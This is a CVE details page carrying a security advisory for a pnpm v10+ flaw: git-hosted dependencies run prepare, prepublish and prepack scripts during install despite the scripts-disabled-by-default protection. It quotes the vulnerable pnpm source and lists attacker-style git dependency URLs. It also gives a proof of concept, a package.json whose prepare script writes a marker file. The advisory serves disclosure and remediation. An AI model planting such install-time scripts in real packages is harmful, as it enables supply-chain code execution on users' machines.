CVE-2025-69264 — Vulnerability in pnpm — CVE Details
HIGH
pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"
Published January 7, 2026Updated February 3, 2026Source: osv
Summary
# pnpm v10+ Git Dependency Script Execution Bypass
### Summary
A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during `pnpm install`, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks `postinstall` scripts via the `onlyBuiltDependencies` mechanism, git dependencies can still execute `prepare`, `prepublish`, and `prepack` scripts during the fetch phase, enabling remote code execution without user consent or approval.
### Details
pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default ([PR #8897](https://github.com/pnpm/pnpm/pull/8897)). This is implemented by setting `onlyBuiltDependencies = []` when no build policy is configured:
**File:** `pkg-manager/core/src/install/extendInstallOptions.ts` (lines 290-291)
```typescript
if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) {
opts.onlyBuiltDependencies = []
}
```
This creates an allowlist that blocks all packages from running scripts during the **BUILD phase** in `exec/build-modules/src/index.ts`.
However, git-hosted dependencies are processed differently. During the **FETCH phase**, git packages are prepared using `preparePackage()`:
**File:** `exec/prepare-package/src/index.ts` (lines 28-57)
```typescript
export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {
// ...
if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir } // Only checks ignoreScripts, not onlyBuiltDependencies
const execOpts: RunLifecycleHookOptions = {
// ...
rawConfig: omit(['ignore-scripts'], opts.rawConfig), // Explicitly removes ignore-scripts!
}
// Runs npm/pnpm install
await runLifecycleHook(installScriptName, manifest, execOpts)
// Runs prepare scripts
for (const scriptName of PREPUBLISH_SCRIPTS) { // ['prepublish', 'prepack', 'publish']
await runLifecycleHook(newScriptName, manifest, execOpts)
}
}
```
The `ignoreScripts` option defaults to `false` and is completely separate from `onlyBuiltDependencies`. The `onlyBuiltDependencies` allowlist is never consulted during the fetch phase.
**Affected scripts that execute during fetch:**
- `prepare`
- `prepublish`
- `prepack`
**Attack vectors:**
- `git+https://github.com/attacker/malicious.git`
- `github:attacker/malicious`
- `gitlab:attacker/malicious`
- `bitbucket:attacker/malicious`
- `git+ssh://git@github.com/attacker/malicious.git`
- `git+file:///path/to/local/repo`
### PoC
**Prerequisites:**
- pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1)
- git
**Steps to reproduce:**
1. Extract the attached [poc.zip](https://github.com/user-attachments/files/23797816/poc.zip)
2. Run the PoC script:
```bash
cd poc
chmod +x run-poc.sh
./run-poc.sh
```
3. Verify the marker file was created by the malicious script:
```bash
cat /tmp/pnpm-vuln-poc-marker.txt
```
**Manual reproduction:**
1. Create a malicious package with a `prepare` script:
```json
{
"name": "malicious-pkg",
"version": "1.0.0",
"scripts": {
"prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\""
}
}
```
2. Initialize it as a git repo and commit the files
3. Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):
```json
{
"dependencies": {
"malicious-pkg": "git+file:///path/to/malicious-pkg"
}
}
```
4. Run `pnpm install` - the prepare script executes without any warning or approval prompt
### Impact
**Severity: High**
**Who is impacted:**
- All pnpm v10+ users
- Users who believed they were protected by the v10 "scripts disabled by default" feature
- CI/CD pipelines
**Attack scenarios:**
1. **Supply chain attack:** An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during `pnpm install`
**What an attacker can do:**
- Execute arbitrary code with the victim's privileges
- Exfiltrate environment variables, secrets, and credentials
- Modify source code or inject backdoors
- Establish persistence or reverse shells
- Access the filesystem and network
**Why this bypasses security expectations:**
- pnpm v10 changelog explicitly states "Lifecycle scripts of dependencies are not executed during installation by default"
- Users expect git dependencies to follow the same security model as npm registry packages
- There is no warning that git dependencies are treated differently
- The `onlyBuiltDependencies` configuration does not affect git dependencies
Advisory Timeline
First published January 7, 2026 (278 days ago).
Last revised February 3, 2026 — 26 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm
Update pnpm to 10.26.0 or later
npm install pnpm@10.26.0
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default" This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2025-69264?
CVE-2025-69264 affects pnpm. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-69264 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
8.8
High exploitability or significant impact. Prioritize remediation within days.